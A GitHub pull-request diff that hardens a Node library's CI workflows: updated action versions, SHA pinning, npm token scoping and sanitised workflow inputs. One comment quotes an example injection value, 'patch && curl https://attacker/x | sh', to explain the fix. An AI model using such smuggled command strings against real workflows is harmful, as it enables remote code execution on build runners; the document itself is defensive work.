Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 2 additions & 2 deletions .github/workflows/build.yml
Original file line number Diff line number Diff line change
Expand Up @@ -12,10 +12,10 @@ jobs:
timeout-minutes: 10

steps:
- uses: actions/checkout@v3
- uses: actions/checkout@v4

- name: Setup Node and Corepack
uses: actions/setup-node@v3.6.0
uses: actions/setup-node@v4
with:
node-version: 20.x

Expand Down
14 changes: 8 additions & 6 deletions .github/workflows/lint.yml
Original file line number Diff line number Diff line change
Expand Up @@ -12,10 +12,10 @@ jobs:
timeout-minutes: 10

steps:
- uses: actions/checkout@v3
- uses: actions/checkout@v4

- name: Setup Node and Corepack
uses: actions/setup-node@v3.6.0
uses: actions/setup-node@v4
with:
node-version: 20.x

Expand Down Expand Up @@ -49,9 +49,11 @@ jobs:
YARN_HTTP_RETRY: 10
run: yarn install --immutable

- name: Auto-fix formatting
run: yarn lint:fix
continue-on-error: true

# audit CI-01: `lint:fix` modifies the working tree in place. Running
# it before `lint` meant `lint` saw the auto-corrected source and PRs
# were waved through even though the branch as committed still had the
# errors. The gate is `yarn lint` — run nothing that can heal the tree
# before it. Developers should run `yarn lint:fix` locally before
# pushing (it's wired up as `lint:fix` in package.json scripts).
- name: Check linting
run: yarn lint
13 changes: 10 additions & 3 deletions .github/workflows/manual-release.yml
Original file line number Diff line number Diff line change
Expand Up @@ -14,7 +14,7 @@ jobs:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v3
uses: actions/checkout@v4
with:
token: ${{ secrets.PERSONAL_TOKEN }}

Expand All @@ -24,7 +24,7 @@ jobs:
git config --global user.email "41898282+github-actions[bot]@users.noreply.github.com"

- name: Setup Node
uses: actions/setup-node@v3.6.0
uses: actions/setup-node@v4
with:
node-version: 20.x

Expand Down Expand Up @@ -57,5 +57,12 @@ jobs:
- name: Install Dependencies
run: yarn install --immutable

# audit CI-02: pass `inputs.increment` through an env var instead of
# interpolating directly into the `run:` shell. Direct interpolation
# would let a malicious workflow_dispatch input (e.g.
# `patch && curl https://attacker/x | sh`) execute arbitrary commands
# on the release runner.
- name: Release
run: npx release-it --increment ${{ github.event.inputs.increment }}
env:
INCREMENT: ${{ github.event.inputs.increment }}
run: npx release-it --increment "$INCREMENT"
2 changes: 1 addition & 1 deletion .github/workflows/pr-comment.yml
Original file line number Diff line number Diff line change
Expand Up @@ -14,7 +14,7 @@ jobs:
timeout-minutes: 10
permissions: write-all
steps:
- uses: actions/checkout@v3
- uses: actions/checkout@v4

- uses: mshick/add-pr-comment@v2
with:
Expand Down
22 changes: 15 additions & 7 deletions .github/workflows/publish-release.yml
Original file line number Diff line number Diff line change
Expand Up @@ -12,20 +12,23 @@ jobs:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v3
uses: actions/checkout@v4
with:
fetch-depth: 0

- name: Fetching tags
run: git fetch --tags -f || true

# Setup-node WITHOUT NODE_AUTH_TOKEN — the npm registry-url is
# configured here so the auth token is only injected on the actual
# publish steps below. Earlier this step (and `yarn install` below)
# exposed NPM_TOKEN to every postinstall script in the transitive
# dep tree, which is a package-takeover primitive. (audit P2-CI-01)
- name: Setup Node
uses: actions/setup-node@v3.6.0
uses: actions/setup-node@v4

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2: Release workflow still references mutable GitHub Action tags (@v4) instead of immutable SHAs. This weakens supply-chain hardening and allows behavior changes without code review.

Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At .github/workflows/publish-release.yml, line 28:

<comment>Release workflow still references mutable GitHub Action tags (`@v4`) instead of immutable SHAs. This weakens supply-chain hardening and allows behavior changes without code review.</comment>

<file context>
@@ -12,20 +12,23 @@ jobs:
+      # dep tree, which is a package-takeover primitive. (audit P2-CI-01)
       - name: Setup Node
-        uses: actions/setup-node@v3.6.0
+        uses: actions/setup-node@v4
         with:
           node-version: 20.x
</file context>

with:
node-version: 20.x
registry-url: 'https://registry.npmjs.org'
env:
NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}

- name: Enable Corepack and Set Yarn Version
run: |
Expand Down Expand Up @@ -53,10 +56,10 @@ jobs:
restore-keys: |
${{ runner.os }}-yarn-

# No NODE_AUTH_TOKEN env on `yarn install` — see comment on Setup
# Node above. (audit P2-CI-01)
- name: Install Dependencies
run: yarn install --immutable
env:
NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}

- name: Publish in NPM (as `baileys`)
run: npm publish --access public
Expand Down Expand Up @@ -85,8 +88,13 @@ jobs:
- name: Rename Pack
run: mv *.tgz baileys.tgz

# Pinned to commit SHA (not the `2.0` tag) — supply-chain hardening
# so a compromised release of `meeDamian/github-release` can't
# silently re-target our CI. (audit P3-CI-01)
# v2.0.3 tip = 7ae19492500104f636b3fee4d8103af0fed36c8e
# (branch `2.0` and tag `v2.0.3` both point to this commit)
- name: Create Release
uses: meeDamian/github-release@2.0
uses: meeDamian/github-release@7ae19492500104f636b3fee4d8103af0fed36c8e # v2.0.3
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
with:
Expand Down
2 changes: 1 addition & 1 deletion .github/workflows/stale.yml
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,7 @@ jobs:
stale:
runs-on: ubuntu-latest
steps:
- uses: actions/stale@v3
- uses: actions/stale@v9
with:
repo-token: ${{ secrets.GITHUB_TOKEN }}
stale-issue-message: 'This issue is stale because it has been open for 14 days with no activity. Remove the stale label or comment or this will be closed in 14 days.'
Expand Down
4 changes: 2 additions & 2 deletions .github/workflows/test.yml
Original file line number Diff line number Diff line change
Expand Up @@ -13,10 +13,10 @@ jobs:

steps:
- name: Checkout code
uses: actions/checkout@v3
uses: actions/checkout@v4

- name: Setup Node.js and Corepack
uses: actions/setup-node@v3
uses: actions/setup-node@v4
with:
node-version: 20.x

Expand Down
62 changes: 49 additions & 13 deletions .github/workflows/update-proto.yml
Original file line number Diff line number Diff line change
Expand Up @@ -19,10 +19,10 @@ jobs:
timeout-minutes: 10

steps:
- uses: actions/checkout@v3
- uses: actions/checkout@v4

- name: Install Node
uses: actions/setup-node@v3
uses: actions/setup-node@v4
with:
node-version: 20.x

Expand Down Expand Up @@ -62,14 +62,31 @@ jobs:
- name: GenerateStatics
run: yarn gen:protobuf

# audit CI-03: `wa_version` comes from a regex over output produced by
# an external proto-extract run that fetches `web.whatsapp.com`. Pass
# it through an env var AND a numeric-only filter (`tr -cd '0-9.'`)
# so a hostile injection in the upstream output can't escape the JSON
# literal or the shell context. Empty input falls through to a hard
# fail rather than producing `{"version": []}`.
- name: Update baileys-version.json
env:
WA_VERSION: ${{steps.wa_proto_info.outputs.wa_version}}
run: |
WA_VERSION="${{steps.wa_proto_info.outputs.wa_version}}"
WA_NUMBERS=$(echo $WA_VERSION | sed "s/\./, /g")
SAFE_VERSION=$(printf '%s' "$WA_VERSION" | tr -cd '0-9.')
# Reject anything that isn't EXACTLY `N.N.N` — `tr -cd '0-9.'` strips
# non-numeric chars but leaves trailing/leading dots ("2.3000."
# would survive) and the resulting JSON literal would be malformed:
# `{"version": [2, 3000, ]}`. Tight regex makes baileys-version.json
# corruption impossible. (audit CI-03 followup, threads 8 + 10)
if ! printf '%s' "$SAFE_VERSION" | grep -qE '^[0-9]+\.[0-9]+\.[0-9]+$'; then
echo "::error::wa_version not a valid N.N.N triple after sanitisation: '$SAFE_VERSION' (raw='$WA_VERSION')"
exit 1
fi
WA_NUMBERS=$(printf '%s' "$SAFE_VERSION" | sed "s/\./, /g")
echo "{\"version\": [$WA_NUMBERS]}" > src/Defaults/baileys-version.json

# Confirm update
echo "✅ Updated baileys-version.json to v$WA_VERSION"
echo "✅ Updated baileys-version.json to v$SAFE_VERSION"
cat src/Defaults/baileys-version.json

- name: Create Pull Request
Expand Down Expand Up @@ -100,12 +117,19 @@ jobs:

- name: Enable Auto-merge
if: steps.create_pr.outputs.pull-request-number != ''
# audit CI-P1-B — `wa_version` was interpolated raw into the shell
# here (and in Summary below), bypassing the sanitisation that only
# happened inside the "Update baileys-version.json" step. Pass
# through env vars + filter so a hostile WhatsApp source response
# can't escape into command execution.
env:
GH_TOKEN: ${{ secrets.GH_PAT || secrets.GITHUB_TOKEN }}
PR_NUMBER_INPUT: ${{ steps.create_pr.outputs.pull-request-number }}
WA_VERSION_RAW: ${{ steps.wa_proto_info.outputs.wa_version }}
run: |
PR_NUMBER="${{ steps.create_pr.outputs.pull-request-number }}"
WA_VERSION="${{ steps.wa_proto_info.outputs.wa_version }}"
PR_NUMBER=$(printf '%s' "$PR_NUMBER_INPUT" | tr -cd '0-9')
WA_VERSION=$(printf '%s' "$WA_VERSION_RAW" | tr -cd '0-9.')

echo "🔀 Enabling auto-merge for PR #$PR_NUMBER (v$WA_VERSION)..."

# Enable auto-merge with squash method
Expand Down Expand Up @@ -222,13 +246,25 @@ jobs:

- name: Summary
if: always()
# audit CI-P1-B — `wa_js_url` had NEVER been sanitised anywhere. It
# came verbatim from a regex over `web.whatsapp.com`'s response. We
# accept only valid HTTPS URL characters here; everything else is
# stripped before the value reaches Markdown / shell.
env:
WA_VERSION_RAW: ${{ steps.wa_proto_info.outputs.wa_version }}
WA_JS_URL_RAW: ${{ steps.wa_proto_info.outputs.wa_js_url }}
PR_NUMBER_RAW: ${{ steps.create_pr.outputs.pull-request-number }}
run: |
echo "### 📦 WAProto Update" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY

WA_VERSION="${{ steps.wa_proto_info.outputs.wa_version }}"
WA_JS_URL="${{ steps.wa_proto_info.outputs.wa_js_url }}"
PR_NUMBER="${{ steps.create_pr.outputs.pull-request-number }}"

WA_VERSION=$(printf '%s' "$WA_VERSION_RAW" | tr -cd '0-9.')
# The `-` MUST be the last char in the class, otherwise `_-+`
# is parsed as the (invalid) range from `_` (0x5F) to `+` (0x2B)
# and GNU `tr` aborts with "reverse collating sequence order",
# breaking every Summary step run.
WA_JS_URL=$(printf '%s' "$WA_JS_URL_RAW" | tr -cd 'A-Za-z0-9:/?&=._+~%#-')
PR_NUMBER=$(printf '%s' "$PR_NUMBER_RAW" | tr -cd '0-9')
Comment thread
coderabbitai[bot] marked this conversation as resolved.

echo "**Version:** \`v$WA_VERSION\`" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
Expand Down
16 changes: 13 additions & 3 deletions .github/workflows/update-version.yml
Original file line number Diff line number Diff line change
Expand Up @@ -100,8 +100,14 @@ jobs:

- name: Check for changes
id: check_changes
# audit CI-P1-A — `inputs.force` was interpolated DIRECTLY into the
# shell. A workflow_dispatch caller can pass an arbitrary string
# (the API REST accepts non-boolean values) and execute commands.
# Same pattern that fixed CI-02 in manual-release.yml.
env:
FORCE_INPUT: ${{ inputs.force }}
run: |
FORCE="${{ inputs.force }}"
FORCE="$FORCE_INPUT"

if git diff --quiet; then
echo "has_changes=false" >> $GITHUB_OUTPUT
Expand All @@ -119,12 +125,16 @@ jobs:
- name: Create Pull Request
id: create_pr
if: steps.check_changes.outputs.has_changes == 'true' || steps.check_changes.outputs.force_mode == 'true'
# audit CI-P1-A — same fix as above for the second `inputs.force`
# occurrence in this workflow.
env:
GH_TOKEN: ${{ secrets.GH_PAT || secrets.GITHUB_TOKEN }}
FORCE_INPUT: ${{ inputs.force }}
VERSION_INPUT: ${{ steps.update_version.outputs.version }}
run: |
BRANCH_NAME="update-version/stable"
FORCE="${{ inputs.force }}"
VERSION="${{ steps.update_version.outputs.version }}"
FORCE="$FORCE_INPUT"
VERSION="$VERSION_INPUT"

# Configure git
git config user.name "github-actions[bot]"
Expand Down
5 changes: 5 additions & 0 deletions .prettierignore
Original file line number Diff line number Diff line change
Expand Up @@ -7,3 +7,8 @@ WAProto
WASignalGroup
Example/Example.ts
docs
# WhatsApp Web VoIP WASM bundle — vendored verbatim from Meta's source,
# do NOT auto-format (the minified output is part of the binary contract).
# eslint already ignores this path via eslint.config.mts; mirror it here so
# `lint:fix` doesn't churn the files and trip the CI clean-tree guard.
src/Voip/assets/**
18 changes: 18 additions & 0 deletions eslint.config.mts
Original file line number Diff line number Diff line change
Expand Up @@ -26,6 +26,7 @@ export default defineConfig([globalIgnores([
"Example/Example.ts",
"**/docs",
"**/proto-extract",
"src/Voip/assets/**",
]),
...base,
{
Expand Down Expand Up @@ -72,4 +73,21 @@ export default defineConfig([globalIgnores([
caughtErrors: "none",
}],
},
},
{
// src/Voip wraps the WhatsApp Web VoIP loader/worker bundle. Several
// files contain code-shaped-after the original WA Web bundle (Babel
// helpers, callback dictionaries) where `x == null` is the idiomatic
// null-OR-undefined check. Allow it ONLY for null-comparisons; other
// eqeqeq cases still error.
files: ["src/Voip/**/*.ts"],
rules: {
"eqeqeq": ["error", "always", { "null": "ignore" }],
"@typescript-eslint/no-unused-vars": ["error", {
args: "all",
argsIgnorePattern: "^_",
varsIgnorePattern: "^_",
caughtErrors: "none",
}],
},
}]);
Loading
Loading